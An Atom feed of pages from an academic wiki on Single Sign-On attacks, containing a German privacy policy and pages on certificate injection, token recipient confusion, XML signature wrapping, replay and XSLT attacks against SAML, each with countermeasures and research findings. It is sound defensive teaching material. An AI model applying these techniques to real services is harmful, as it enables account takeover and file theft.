http://www.ws-attacker.de/index.php?title=Special:NewPages&feed=atom&hideredirs=1&limit=50&offset=&namespace=0&username=&tagfilter=Single Sign-On Attacks - New pages [en]2024-03-28T09:27:13ZFrom Single Sign-On AttacksMediaWiki 1.40.1http://www.ws-attacker.de/DatenschutzDatenschutz2018-07-09T13:44:33Z<p>Hshcvj: Created page with "Im Folgenden informieren wir über die Verarbeitung personenbezogener Daten bei Nutzung der Webseite sso-attacks.de. Personenbezogene Daten sind alle Daten, die auf Sie persö..."</p>
<hr />
<div>Im Folgenden informieren wir über die Verarbeitung personenbezogener Daten bei Nutzung der Webseite sso-attacks.de. Personenbezogene Daten sind alle Daten, die auf Sie persönlich bezogen werden können. Auf anderen Seiten der Ruhr-Universität Bochum können andere Bedingungen gelten.<br />
<br />
I. Name und Anschrift des Verantwortlichen<br />
Die Verantwortliche im Sinne der Datenschutz-Grundverordnung und dem Landesdatenschutzgesetz NRW ist:<br />
Ruhr-Universität Bochum<br />
Universitätsstr. 150<br />
44801 Bochum<br />
Tel.: 0234 32-201<br />
Fax: 0234 32-14201<br />
E-Mail: webmaster@ruhr-uni-bochum.de <br />
Die Ruhr-Universität Bochum ist eine Körperschaft des Öffentlichen Rechts. Sie wird durch ihren Rektor Prof. Dr. Axel Schölmerich gesetzlich vertreten.<br />
<br />
<br />
II. Name und Anschrift des Datenschutzbeauftragten<br />
Der Datenschutzbeauftragte der Verantwortlichen ist:<br />
Dr. Kai-Uwe Loser <br />
Ruhr-Universität Bochum <br />
Gebäude IB, Ebene 1, Raum 68<br />
Universitätsstraße 150 <br />
44801 Bochum<br />
Deutschland<br />
Tel.: +49 234 32-28720<br />
E-Mail: dsb@rub.de<br />
Website: https://dsb.ruhr-uni-bochum.de/<br />
<br />
III. Bereitstellung der Website und Erstellung von Logfiles<br />
Beschreibung und Umfang der Datenverarbeitung <br />
Bei jedem Aufruf unserer Internetseite sind für die Bereitstellung der Informationen Daten über den aufrufenden Rechner erforderlich. Folgende Daten werden hierbei verarbeitet: <br />
(1) Informationen über den Browsertyp und die verwendete Version, (2) das Betriebssystem des Nutzers, (3) die IP-Adresse des Nutzers, (4) Datum und Uhrzeit des Zugriffs, (5) Websites, von denen das System des Nutzers auf unsere Internetseite gelangt.<br />
Die Daten werden ausschließlich bei Fehlern bei der Verarbeitung im Error-Logfile unseres Systems gespeichert. Nicht hiervon betroffen sind die IP-Adressen des Nutzers oder andere Daten, die die Zuordnung der Daten zu einem Nutzer ermöglichen. Eine Speicherung dieser Daten zusammen mit anderen personenbezogenen Daten des Nutzers findet nicht statt.<br />
Rechtsgrundlage für die Datenverarbeitung <br />
Rechtsgrundlage für die vorübergehende Speicherung der Daten und die Speicherung im Error-Logfile ist Art. 6 Abs. 1 lit. e DSGVO.<br />
Zweck der Datenverarbeitung<br />
Die Speicherung im Error-Logfile erfolgt, um die Funktionsfähigkeit der Website sicherzustellen. Zudem dienen uns die Daten zur Sicherstellung der Sicherheit unserer informationstechnischen Systeme. Eine Auswertung der Daten zu Marketingzwecken findet in diesem Zusammenhang nicht statt. <br />
Dauer der Speicherung, Widerspruchs- und Beseitigungsmöglichkeit<br />
Das Error-Logfile wird nach spätestens sieben Tagen gelöscht. Aufgrund der genannten Zwecke besteht seitens des Nutzers keine Widerspruchsmöglichkeit.<br />
IV. Verwendung von Cookies<br />
Beschreibung und Umfang der Datenverarbeitung <br />
Unsere Webseite verwendet Cookies. Bei Cookies handelt es sich um Dateien, die im Internetbrowser bzw. vom Internetbrowser auf dem aufrufenden System gespeichert werden. Wir setzen Cookies ein, um unsere Website nutzerfreundlicher zu gestalten. Einige Elemente unserer Internetseite erfordern es, dass der aufrufende Browser auch nach einem Seitenwechsel identifiziert werden kann. <br />
Rechtsgrundlage für die Datenverarbeitung <br />
Die Rechtsgrundlage für die Verwendung von Cookies ist Art. 6 Abs. 1 lit. e DSGVO.<br />
Zweck der Datenverarbeitung<br />
Der Zweck der Verwendung technisch notwendiger Cookies ist, die Nutzung von Websites für die Nutzer zu vereinfachen. Einige Funktionen unserer Internetseite können ohne den Einsatz von Cookies nicht angeboten werden. Für diese ist es erforderlich, dass der Browser auch nach einem Seitenwechsel wiedererkannt wird. Die durch technisch notwendige Cookies erhobenen Nutzerdaten werden nicht zur Erstellung von Nutzerprofilen verwendet.<br />
Dauer der Speicherung, Widerspruchs- und Beseitigungsmöglichkeit<br />
Cookies werden auf dem Rechner des Nutzers gespeichert und von diesem an unserer Seite übermittelt. Daher haben Sie als Nutzer auch die volle Kontrolle über die Verwendung von Cookies. Durch eine Änderung der Einstellungen in Ihrem Internetbrowser können Sie die Übertragung von Cookies deaktivieren oder einschränken. Bereits gespeicherte Cookies können jederzeit gelöscht werden. Dies kann auch automatisiert erfolgen. Werden Cookies für unsere Website deaktiviert, können möglicherweise nicht mehr alle Funktionen der Website vollumfänglich genutzt werden. <br />
<br />
V. Registrierung <br />
Beschreibung und Umfang der Datenverarbeitung <br />
Auf unserer Internetseite bieten wir Nutzern die Möglichkeit, sich unter Angabe personenbezogener Daten zu verschiedenen Zwecken (vornehmlich zur Teilnahme an Veranstaltungen) zu registrieren. Die Daten werden dabei in eine Eingabemaske eingegeben und an uns übermittelt und gespeichert. Eine Weitergabe der Daten an Dritte findet nicht statt. Folgende Daten werden im Rahmen des Registrierungsprozesses erhoben: (1) die in dem jeweiligen Formular angegebenen Daten (2) Datum und Uhrzeit der Registrierung<br />
Rechtsgrundlage für die Datenverarbeitung <br />
Rechtsgrundlage für die Verarbeitung der Daten ist Art. 6 Abs. 1 lit. a DSGVO.<br />
Zweck der Datenverarbeitung<br />
Eine Registrierung des Nutzers ist für die Bestimmung des jeweiligen Formulars (zum Beispiel Anmeldung zu einer Veranstaltung) erforderlich. <br />
Dauer der Speicherung, Widerspruchs- und Beseitigungsmöglichkeit<br />
Die Daten werden gelöscht, sobald sie für die Erreichung des Zweckes ihrer Erhebung nicht mehr erforderlich sind. Dies ist für die Registrierung zu einer Veranstaltung spätestens sieben Tage nach Beendigung der Veranstaltung der Fall. <br />
<br />
VI. E-Mail-Kontakt<br />
Beschreibung und Umfang der Datenverarbeitung <br />
Bei der Kontaktaufnahme mit uns per E-Mail werden die von Ihnen mitgeteilten Daten (E-Mail-Adresse, sowie weitere von Ihnen gemachte Angaben) von uns verarbeitet und gespeichert.<br />
Rechtsgrundlage für die Datenverarbeitung<br />
Rechtsgrundlage für die Verarbeitung der Daten ist Art. 6 Abs. 1 lit. e DSGVO. <br />
Zweck der Datenverarbeitung<br />
Die Speicherung der vom Nutzer zugesandten Daten insbesondere dessen E-Mail-Adresse wird für die Zustellung einer Eingangsbestätigung, die Beantwortung etwaiger Anfragen sowie der Sicherung der Qualität der Kommunikation benötigt.<br />
Dauer der Speicherung, Widerspruchs- und Beseitigungsmöglichkeit<br />
Akten dieser Art werden an der Ruhr-Universität Bochum fünf Jahre aufbewahrt (Aufbewahrungsfrist gemäß Richtlinie der Ruhr-Universität Bochum).<br />
<br />
VII. Ihre Rechte als betroffene Person<br />
Werden personenbezogene Daten von Ihnen verarbeitet, sind Sie Betroffener i.S.d. DSGVO und es stehen Ihnen folgende Rechte gegenüber der Verantwortlichen zu:<br />
Sie können eine Bestätigung darüber verlangen, ob personenbezogene Daten, die Sie betreffen, verarbeitet werden. Falls eine solche Verarbeitung vorliegt können Sie Auskunft über den Zweck, die Daten, die Herkunft der Daten, Empfänger von Daten (inkl. internationaler Weitergaben) sowie Dauer der Speicherung erhalten. <br />
Sie haben ein Recht auf Berichtigung der Daten, falls diese unrichtig oder unvollständig sind. Unter verschiedenen Voraussetzungen haben Sie das Recht die Daten Löschen zu lassen oder die Verarbeitung einzuschränken. Insbesondere Daten, die Sie freiwillig angegeben haben müssen gelöscht werden, wenn Sie ihre Einwilligung zurückziehen. Falls Daten weitergegeben wurden bezieht sich die Löschung auch auf die Empfänger von Daten und wir werden Ihnen die Empfänger Ihrer Daten mitteilen.<br />
Für Fragen und Beschwerden können Sie sich in jedem Fall an die zuständige Aufsichtsbehörde wenden (Landesbeauftragte für den Datenschutz NRW, http://ldi.nrw.de).<br />
Ebenso können Sie sich an den Datenschutzbeauftragten der RUB wenden; dieser ist unter dsb@rub.de erreichbar, weitere Informationen finden Sie hier: https://dsb.ruhr-uni-bochum.de</div>Hshcvjhttp://www.ws-attacker.de/Certificate_InjectionCertificate Injection2016-02-02T15:46:47Z<p>Anna: /* Mitigation / Countermeasures */</p>
<hr />
<div>=Introduction=<br />
The basic idea of ''Certificate Injection (CInj)'' is to inject a malicious certificate and store it in the ''Authorization & Access Management (AAM)'' module. Since the SSO module uses this certificate for the token verification, tokens signed by the attacker, who possesses the private key to the injected certificate, will be successfully verified. By this means, even a correctly implemented SSO module, which mitigates all attacks directly related to this module, can still be bypassed.<br />
<br />
=Attack subtypes=<br />
There are no attack subtypes for this attack.<br />
<br />
<br />
=Prerequisites=<br />
*The Service Provider provides functionality to upload a custom IdP certificate, that is used by the ''AAM'' to verify tokens.<br />
*The Service Provider has not implemented countermeasures against [https://en.wikipedia.org/wiki/Cross-site_request_forgery ''Cross-site request forgery (CSRF)''].<br />
<br />
=Target=<br />
[[File:Target_Session_Managment.jpg|centre|600px]] <br><br />
The attacked Single Sign-On component is marked in red colour. <br><br />
<br />
The attack uses [https://en.wikipedia.org/wiki/Cross-site_request_forgery Cross-site request forgery]''(CSRF)'' technique to force the victim into changing configuration data without explicit user interaction.<br />
<br />
=Description=<br />
An actual exploit for this attack type can be separated into three consecutive phases:<br />
*'''Phase 1 – Preparation.''' The attacker creates his private key '''evilKey''' and a corresponding public key and uses these to create a certificate<br />
'''evilCert'''.<br />
*'''Phase 2 – Configuration Injection.''' The attacker creates a malicious link containing the ''CSRF'' attack vector, i.e., the injection of '''evilCert'''. Luring the victim to click on that link, he will exchange the originally stored certificate in the User Database with the one provided by the attacker. This is possible because the HTTP-request that changes the certificate is sent via the victim’s browser (using the victim’s session<br />
cookies).<br />
*'''Phase 3 – Access to resources.''' The attacker can then generate a token '''t''' for an arbitrary user and sign it with the key belonging<br />
to '''evilCert''' generating '''s'''. Then, he sends '''(t,s)''' to the target service provider for verification. The target service provider will use the certificate stored in the ''AAM'' module and use this for the verification of '''s'''. Since the stored certificate is '''evilCert''', the verification is successful and the attacker can log in with the chosen identity.<br />
<br />
If the attacker is able to inject his own SSO configuration, the '''SP''' and the according SSO module will trust the attacker<br />
just as a regular trusted '''IdP'''. By this means, the attacker can generate valid tokens for any user on the SP and log into his account.<br />
<br />
=Mitigation / Countermeasures=<br />
Session Management should include a protection against ''CSRF'' (e.g. CSRF tokens, reasonable session timeout) to mitigate the attack.<br />
<br />
=Practical Examples=<br />
In 2014, Mainka et al. analyzed 22 Software as a Service cloud providers and found out, that different frameworks were vulnerable to this attack:<br />
SAManage, Shiftplanning, BambooHR, IdeaScale, Howlr and CA Service Management. <br />
<br />
[[Category:Attack_Categorisation_By_Attacker_Model:_Web_Attacker]]<br />
[[Category:Attack_Categorisation_By_Violated_Security_Objective_Access_Control]]<br />
[[Category:Attack_Categorisation_By_Attack_on_IdP/_SP:_Attack_on_SP]]<br />
[[Category:Attack_Categorisation_By_Attacked_Single_Sign-On_Component:_Session_Managment]]<br />
[[Category:Attack_Categorisation_By_Attack_Spreading:Application_Specific_Flaws]]<br />
[[Category:Attack_Categorisation_By_Attack_on_SAML]]<br />
<br />
=References=<br />
C. Mainka, V. Mladenov, F. Feldmann, J. Krautwald, J. Schwenk (2014): Your Software at my Service: Security Analysis of SaaS Single Sign-On Solutions in the Cloud. In The ACM Cloud Computing Security Workshop (CCSW).</div>Annahttp://www.ws-attacker.de/Token_Recipient_ConfusionToken Recipient Confusion2016-01-14T14:37:49Z<p>Anna: /* Practical Examples */</p>
<hr />
<div>=Introduction=<br />
In real-life SSO, there exist multiple ''Software-as-a-Service Cloud Provider (SaaS-CP)'' federating with the same ''Identity Provider (IdP)''. In order to distinguish the authentication tokens generated<br />
for different ''SaaS-CPs'', each token contains information ''D'' about its recipient. In most cases this is the URL of the ''SaaS-CP'' for which the token was generated.<br />
The goal of ''Token Recipient Confusion (TRC)'' is to use an authentication token '''t_A''' generated for a service '''S_A''' on a second service '''S_target'''. The attack is considered successful if '''S_target''' becomes “confused” by the recipient of the token and accepts '''t_A''' as valid.<br />
According to [http://www.cvedetails.com/cve/CVE-2008-3891], this type of attacks is classified as critical, since information disclosure or privilege escalation is possible. A dishonest user can redeem his tokens on different services and get unauthorized access to restricted resources. Furthermore, a malicious ''SaaS-CP'' could collect authentication tokens and forward them to other SPs in order to get login in arbitrary accounts.<br />
This attack also targets the SSO Verificator, which is responsible for checking the restrictions regarding the destination of the token, ''D''. In the SAML context, specifically the ''AudienceRestricton'' and ''Recipient'' elements are relevant for this attack type.<br />
<br />
<br />
=Attack subtypes=<br />
There are no attack subtypes for this attack.<br />
<br />
=Prerequisites=<br />
The attacker has access to a valid token. An additional requirement is that both services ('''S_A''' and '''S_target''') have to be federating with the same ''IdP''. This is a realistic assumption since an IdP usually offers authentication services for multiple ''SaaS-CPs''.<br />
<br />
=Target=<br />
[[File:Target_Verificator.jpg|centre|600px]]<br />
The attacked Single Sign-On component is marked in red colour.<br />
<br />
=Description=<br />
There are two different approaches for a ''TRC'' exploit: <br><br />
'''Exploit 1:''' Suppose, that ''SaaS-CPs'' '''S_A''' and '''S_target''' are accepting tokens from the same ''IdP'', and the attacker does not have access to '''S_target'''. The attacker does, however, have legitimate account on '''S_A''', thus, he can request a token '''t_A = (..., D_A, ...)''' from the ''IdP''. By sending '''t_A''' to '''S_target''' (instead of '''S_A'''), the attack is performed. It is considered successful if '''t_A''' is accepted by '''S_target'''; the attacker is thus logged in with the same account name as he has for '''S_A''' and gets access to '''S_target'''’s corresponding resources.<br />
<br />
'''Exploit 2:''' Alternatively, the attacker can set up his own ''SaaS-CP'' ('''S_bad''') offering some service for registered users (e.g., a weather<br />
forecast). To authenticate to '''S_bad''', SSO is used and the attacker specifically federates it with the same ''IdP'' used by '''S_target'''. After<br />
that, the attacker lures his victim (a legitimate user of '''S_target''') to register with and authenticate to '''S_bad'''. Instead of or in addition<br />
to its usual service (weather forecast), '''S_bad''' stores all tokens in a database so that the attacker can access them. The attacker can then<br />
try to use the tokens to log in on '''S_target''' as the victim. The attack is considered successful if an authentication token '''t_bad''' issued for the victim for service '''S_bad''' is successfully verified on '''S_target'''.<br />
<br />
[[File:Token_Recipient_Confusion.jpg|centre]] <br><br />
SAML token addressed for service '''S_A''' will be sent to '''S_target'''.<br />
<br />
=Mitigation / Countermeasures=<br />
To mitigate the TRC attack, the SP should verify whether the '''D_A'''. SP parameter contained in '''t_A''' matches its own '''D_A'''. In terms of SAML this means, that '''S_target''' needs to verify the URL in the conditions ''AudienceRestricton'' and ''Recipient'' elements to match its own URL.<br />
<br />
=Practical Examples=<br />
In 2014, Mainka et al. analyzed 22 Software as a Service cloud providers and found out, that different frameworks were vulnerable to this attack: Zendesk, Clarizen, SAManage, Shiftplanning, Panorama9, UserVoice (Marketing), Instructure, The Resumator, BambooHR, AppDynamics, Panopto, TimeOffManager, HappyFox, ScreenSteps Live, LiveHive, Howlr and CA Service Management.<br />
<br />
<br />
[[Category:Attack_Categorisation_By_Attacker_Model:_Access_to_Valid_Token]]<br />
[[Category:Attack_Categorisation_By_Violated_Security_Objective_Confidentiality]]<br />
[[Category:Attack_Categorisation_By_Violated_Security_Objective_Availability]]<br />
[[Category:Attack_Categorisation_By_Violated_Security_Objective_Integrity]]<br />
[[Category:Attack_Categorisation_By_Attack_on_IdP/_SP:_Attack_on_SP]]<br />
[[Category:Attack_Categorisation_By_Attacked_Single_Sign-On_Component:_Verificator]]<br />
[[Category:Attack_Categorisation_By_Attack_Spreading:Conceptual_Flaws]]<br />
[[Category:Attack_Categorisation_By_Attack_on_SAML]]<br />
<br />
=References=<br />
C. Mainka, V. Mladenov, F. Feldmann, J. Krautwald, J. Schwenk (2014): Your Software at my Service: Security Analysis of SaaS Single Sign-On Solutions in the Cloud. In The ACM Cloud Computing Security Workshop (CCSW).<br><br />
[http://www.cvedetails.com/cve/CVE-2008-3891 CVE-2008-3891] <br><br />
[https://www.oasis-open.org/committees/download.php/27819/sstc-saml-tech-overview-2.0-cd-02.pdf Security Assertion Markup Language (SAML) V2.0 Technical Overview]</div>Annahttp://www.ws-attacker.de/XML_Signature_WrappingXML Signature Wrapping2016-01-07T18:15:50Z<p>Anna: /* Target */</p>
<hr />
<div>=Introduction=<br />
The idea of ''XML Signature Wrapping (XSW)'' is to exploit the separation between SSO Verificator and SSO Processor. In case both logics<br />
have different "views" of the same document, XSW can be applicable.<br />
The goal is to force the SSO Verificator to use different elements than the SSO Processor. <br />
<br />
=Attack subtypes=<br />
There are several options to perform Signature Wrapping depending on the implementation of the verification logic:<br />
*[http://ws-attacks.org/XML_Signature_Wrapping_-_Simple_Context Simple Context]<br />
*[http://ws-attacks.org/XML_Signature_Wrapping_-_Optional_Element Optional Element]<br />
*[http://ws-attacks.org/XML_Signature_Wrapping_-_Optional_Element_in_Security_Header Optional Element in Security Header]<br />
*[http://ws-attacks.org/XML_Signature_Wrapping_-_with_Namespace_Injection With Namespace Injection]<br />
<br />
=Prerequisites=<br />
The attacker needs access to a valid token. For this attack to work, the attacker modifies the contents of the token by injecting malicious data without invalidating the signature.<br />
<br />
=Target=<br />
[[File:Target_Verificator_and_Processor.jpg|centre|600px]]<br />
<br> The attacked Single Sign-On components are marked in red colour.<br />
<br />
The attack targets the discrepancy in the program logic of SSO Verificator and SSO Processor. The latter should extract and forward only exactly the data verified by the former to ''Authorization & Access Management (AAM)''.<br />
<br />
=Description=<br />
The attacker manipulates his token by injecting malicious contents, for example, the Identity (''I'') of other users. As a result, the attacker can log into arbitrary user accounts and gain unauthorized access to their data.<br />
[[File:XML_Signature_Wrapping.jpg|centre]]<br />
<br> The authentication token is signed for a user Bob. Via ''XSW'' the attacker can inject a second ''Assertion'' containing another identity (e.g. admin). The verification logic will verify the Assertion pointed by the Ref, which is valid. The business logic (SSO Processor) will process the injected (malicious) ''Assertion''.<br />
The SSO Verificator will verify the signature based on the contents of the original Assertion, which is selected by ID. However, if the SSO Processor’s program logic automatically processes the first Assertion found within the token, an attacker can bypass the integrity protection and enforce the processing of unverified data on the SaaS-CP.<br />
<br />
Let us review some different examples of ''XML Signature Wrapping attack'': <br><br />
[[File:XSW_Example1.jpg|400px]]<br />
[[File:XSW_Example2.jpg|300px]]<br />
[[File:XSW_Example3.jpg|300px]]<br />
<br> In '''Example 1''', the original message with '''ID="111"''' is included into the signature child element. The verification logic finds this element and accepts the signature as correct. The business logic, however, uses the Assertion directly bellow the Root.<br />
<br> In '''Example 2''', the original message with '''ID="111"''' is included into the new '''"666"''' Response as the first child element (i.e., as a sibling of the signature element). The signature logic again finds the original message and accepts it as correct. The business logic uses the '''"666"''' Assertion that was included as the last child element of the new message.<br />
<br> In '''Example 3''', the message contains two top-level elements of type Assertion. The signature logic verifies the signature of the original Assertion '''contained''' in the second Assertion and accepts it as correct. The business logic uses the first Assertion found in the message (i.e., the '''"666"''' Assertion).<br />
<br />
=Mitigation / Countermeasures=<br />
The countermeasures depend on the [http://www.sso-attacks.org/XML_Signature_Wrapping#Attack_subtypes attack subtype] in use. <br />
The general approach would be to enhance the interface between the signature verification function and the business logic. In this approach, the signature verification returns some sort of position description of the signed data, next to a Boolean value.<br />
The business logic may then decide if the data about to be processed has been signed or not.<br />
<br />
=Practical Examples=<br />
In 2014, Mainka et al. analyzed 22 Software as a Service cloud providers and found out, that different frameworks were vulnerable to this attack: Zoho, Clarizen, SAManage, Instructure, AppDynamics, Panopto, TimeOffManager, HappyFox, SpringCM, ScreenSteps Live and LiveHive.<br />
<br />
<br />
[[Category:Attack_Categorisation_By_Attacker_Model:_Access_to_Valid_Token]]<br />
[[Category:Attack_Categorisation_By_Violated_Security_Objective_Access_Control]]<br />
[[Category:Attack_Categorisation_By_Attack_on_IdP/_SP:_Attack_on_SP]]<br />
[[Category:Attack_Categorisation_By_Attacked_Single_Sign-On_Component:_Verificator]]<br />
[[Category:Attack_Categorisation_By_Attacked_Single_Sign-On_Component:_Processor]]<br />
[[Category:Attack_Categorisation_By_Attack_Spreading:Conceptual_Flaws]]<br />
[[Category:Attack_Categorisation_By_Attack_on_SAML]]<br />
<br />
=References=<br />
C. Mainka, V. Mladenov, F. Feldmann, J. Krautwald, J. Schwenk (2014): Your Software at my Service: Security Analysis of SaaS Single Sign-On Solutions in the Cloud. In The ACM Cloud Computing Security Workshop (CCSW). <br><br />
[https://hgi.rub.de/media/nds/veroeffentlichungen/2011/10/22/AmazonSignatureWrapping.pdf Juraj Somorovsky, Mario Heiderich, Meiko Jensen, Jörg Schwenk, Nils Gruschka, and Luigi Lo Iacono. All Your Clouds are Belong to us – Security Analysis of Cloud Management Interfaces. In The ACM Cloud Computing Security Workshop (CCSW), October 2011.] <br><br />
[https://www.nds.rub.de/media/nds/veroeffentlichungen/2012/08/22/BreakingSAML_3.pdf Juraj Somorovsky, Andreas Mayer, Jörg Schwenk, Marco Kampmann, and Meiko Jensen. On breaking saml: Be whoever you want to be. In 21st USENIX Security Symposium, Bellevue, WA, August 2012.]</div>Annahttp://www.ws-attacker.de/Replay_AttackReplay Attack2015-12-08T18:35:29Z<p>Anna: /* Mitigation / Countermeasures */</p>
<hr />
<div>=Introduction=<br />
Every [https://en.wikipedia.org/wiki/Single_sign-on SSO] protocol provides freshness parameters ''N'' to limit the reuse and lifetime of the authentication tokens. Taking into account that the reuse of tokens is optional, the validation of the attributes providing freshness is not considered as critical. On the other hand, the time restriction regarding the usage of authentication tokens is more critical and should be evaluated. Otherwise, tokens issued once might be valid for an extended time period or even an infinite amount of time.<br />
<br />
=Attack subtypes=<br />
There are no attack subtypes for this attack.<br />
<br />
=Prerequisites=<br />
The attacker needs access to a valid token. More specifically, the token in question is required to be valid for the ''Software-as-a-Service Cloud Provider (SaaS-CP)'' at any time in the past. This can be achieved if the attacker had legitimate access (for a limited period of time) to the ''SaaS-CP'' via ''SSO'' and used this access to generate and store a token for himself. Alternatively, searching for published tokens in forums or in technical documentations could also provide valid, though most possibly outdated, tokens.<br />
<br />
=Target=<br />
[[File:Target_Verificator.jpg|centre|600px]]<br />
<br> The attacked Single Sign-On component is marked in red colour.<br />
<br />
=Description=<br />
The attacker sends an expired authentication token to the target ''SaaS-CP''. In case, that the unlimited reuse of authentication tokens is applicable and the token is successfully verified, the attack is classified as successful.<br />
The attack’s impact is average since the attacker has limited attack surface – he can only spend authentication tokens he possesses. However, the potential impact drastically rises in case the attacker gains hold of an authentication token granting him extended access rights (e.g., as an administrator of the system).<br />
<br />
[[File:Replay_Attack.jpg]]<br />
<br><br />
SAML token with expired timestamps is sent to the ''SaaS-CP''.<br />
<br />
As can be seen in the example bellow, a SAML Response can contain several timestamps:<br />
*'''Response:IssueInstant'''<br />
*'''Assertion:IssueInstant''' <br />
*'''SubjectConfirmationData:NotOnOrAfter'''<br />
*'''Conditions:NotBefore'''<br />
*'''Conditions:NotOnOrAfter'''<br />
*'''AuthnStatement:AuthnInstant'''<br />
<br />
Thus, the timestamp validation logic is not simple. The implementor needs to pay close attention to the '''NotOnOrAfter''' attributes and also make sure, that the SAML Response matches the correct previous Request ('''SubjectConfirmationData:InResponseTo''').<br />
<br />
<source lang=xml><br />
<samlp:Response<br />
...<br />
IssueInstant="2015-12-05T09:22:05"><br />
...<br />
<saml:Assertion<br />
ID="111"<br />
...<br />
IssueInstant="2015-12-05T09:22:05"><br />
...<br />
<ds:Signature>...</ds:Signature><br />
<saml:Subject><br />
<saml:NameID<br />
...><br />
Bob<br />
</saml:NameID><br />
<saml:SubjectConfirmation<br />
Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><br />
<saml:SubjectConfirmationData<br />
InResponseTo="request_1"<br />
Recipient="https://sp.example.com/SAML2/SSO/POST"<br />
NotOnOrAfter="2015-12-05T09:27:05"/><br />
</saml:SubjectConfirmation><br />
</saml:Subject><br />
<saml:Conditions<br />
NotBefore="2015-12-05T09:17:05"<br />
NotOnOrAfter="2015-12-05T09:27:05"><br />
...<br />
</saml:Conditions><br />
<saml:AuthnStatement<br />
AuthnInstant="2015-12-05T09:22:00"<br />
SessionIndex="session_3"><br />
<saml:AuthnContext><br />
<saml:AuthnContextClassRef><br />
urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport<br />
</saml:AuthnContextClassRef><br />
</saml:AuthnContext><br />
</saml:AuthnStatement><br />
</saml:Assertion><br />
</samlp:Response><br />
</source><br />
<br />
=Mitigation / Countermeasures=<br />
This component should validate attributes providing the corresponding restrictions, i.e., the freshness parameter ''N''. In the SAML context relevant to this study, this parameter is represented by '''NotOnOrAfter''' and '''NotBefore'''. Failing to<br />
properly verify these parameters will enable this attack type. Another possibility to enable this attack type would be via additional freshness attributes, which are not part of the digital signature ''s''.<br />
<br />
=Practical Examples=<br />
In 2014, Mainka et al. analyzed 22 Software as a Service cloud providers and found out, that different frameworks were vulnerable to this attack: Clarizen, Instructure, AppDynamics, TimeOffManager, LiveHive and CA Service Management.<br />
<br />
[[Category:Attack_Categorisation_By_Attacker_Model:_Access_to_Valid_Token]]<br />
[[Category:Attack_Categorisation_By_Violated_Security_Objective_Access_Control]]<br />
[[Category:Attack_Categorisation_By_Attack_on_IdP/_SP:_Attack_on_SP]]<br />
[[Category:Attack_Categorisation_By_Attacked_Single_Sign-On_Component:_Verificator]]<br />
[[Category:Attack_Categorisation_By_Attack_Spreading:Application_Specific_Flaws]]<br />
[[Category:Attack_Categorisation_By_Attack_on_SAML]]<br />
<br />
=References=<br />
C. Mainka, V. Mladenov, F. Feldmann, J. Krautwald, J. Schwenk (2014): Your Software at my Service: Security Analysis of SaaS Single Sign-On Solutions in the Cloud. In The ACM Cloud Computing Security Workshop (CCSW).</div>Annahttp://www.ws-attacker.de/XSLT_AttackXSLT Attack2015-12-08T16:32:16Z<p>Anna: /* Description */</p>
<hr />
<div>=Introduction=<br />
[https://en.wikipedia.org/wiki/XSLT ''Extensible Stylesheet Language Transformation (XSLT)''] is a language for transforming XML documents into other documents, for example, XML, HTML, JSON or even PDF. The XML Signature standard allows the usage of ''XSLT'' by definition, and thus, ''XSLT'' can be used in [http://www.sso-attacks.org/index.php?title=SAML SAML]. ''XSLT'' is a Turing complete language. By this means, it is possible to use XSLT, for example, to read/write files on the local filesystem and send them over the Internet. Furthermore, the ''XSLT'' transformation will be executed before the digital signature is verified. Thus, an attacker can send a ''SAML'' token including a digital signature containing the ''XSLT Attack (XSLTA)'' vector, but it is not required that the signature is valid. XSLTA allows accessing files within the context of the used web server.<br />
<br />
=Attack subtypes=<br />
There are no attack subtypes for this attack.<br />
<br />
=Prerequisites=<br />
In order to start XSLT, the attacker has to create a valid XML message. Note, that the message has to be a SAML token. However, this token does not have to be signed with a valid key nor does the signature needs to be valid.<br />
<br />
=Target=<br />
[[File:Target_Verificator.jpg|centre|600px]]<br />
<br> The attacked Single Sign-On component is marked in red colour.<br />
<br />
=Description=<br />
[[File:XSLT_.jpg|centre|650px]] <br><br />
The attacker prepares a SAML token ''t'' and creates an XML Signature for it. Note, that it is not important to have a correctly computed signature value – the ''XSLTA'' only requires a well-formed XML document. The attacker adds a '''Transform''' element to the XML Signature and places the '''XSLT Payload''' in it as shown in Figure. <br><br />
[[File:XSLT1.jpg|centre]]<br />
<br />
The attacker reads an arbitrary file using ''XSLT'' (in this example by using the ''unparsed-text()'' function). Afterwards, he forwards the contents of the file to his own server via a ''GET'' parameter.<br />
<br />
=Mitigation / Countermeasures=<br />
The [https://en.wikipedia.org/wiki/Single_sign-on SSO] Verificator should mitigate the usage of ''XSLT'' within the token.<br />
<br />
=Practical Examples=<br />
In 2014, Mainka et al. analyzed 22 Software as a Service cloud providers and found out that one framework was vulnerable to this attack: Instructure.<br />
<br />
[[Category:Attack_Categorisation_By_Attacker_Model:_Message_generation_attacks]]<br />
[[Category:Attack_Categorisation_By_Violated_Security_Objective_Confidentiality]]<br />
[[Category:Attack_Categorisation_By_Attack_on_IdP/_SP:_Attack_on_SP]]<br />
[[Category:Attack_Categorisation_By_Attacked_Single_Sign-On_Component:_Verificator]]<br />
[[Category:Attack_Categorisation_By_Attack_Spreading:Application_Specific_Flaws]]<br />
[[Category:Attack_Categorisation_By_Attack_on_SAML]]<br />
<br />
=References=<br />
C. Mainka, V. Mladenov, F. Feldmann, J. Krautwald, J. Schwenk (2014): Your Software at my Service: Security Analysis of SaaS Single Sign-On Solutions in the Cloud. In The ACM Cloud Computing Security Workshop (CCSW).</div>Annahttp://www.ws-attacker.de/SAMLSAML2015-11-29T20:00:28Z<p>Anna: /* Login with SAML */</p>
<hr />
<div>The most important industry standard for Identity Management is the SecurityAssertion Markup Language (SAML). SAML is based on the [https://en.wikipedia.org/wiki/XML eXtensible Markup Language (XML)] and enables the secure exchange of XML-based authentication messages. In conjunction with [https://en.wikipedia.org/wiki/Single_sign-on Single Sign-On (SSO)] systems, SAML especially offers a standardized format for authentication tokens. Authentication and authorization data are defined in SAML Assertions.<br />
<br />
==SAML Usage==<br />
*Single Sign-On (SSO)<br />
*Single Logout<br />
*Identity Federation<br />
<br />
==Login with SAML==<br />
*Service-Provider (SP)-initiated SSO<br />
[[File:SP_initiated_SSO.jpg|centre]]<br />
#The Client asks for the resource of the SP.<br />
#The SP generates an AuthnRequest and redirects the client to the IdP.<br />
#The Client forwards the AuthnRequest of the SP to the IdP.<br />
#The Client authenticates to the IdP.<br />
#The IdP sends Response containing the SAML Assertion, which proves that the user has been authenticated.<br />
#The Client submits the Response to the SP.<br />
#The SP checks the validity of the SAML Response and allows the user access the resources.<br />
<br />
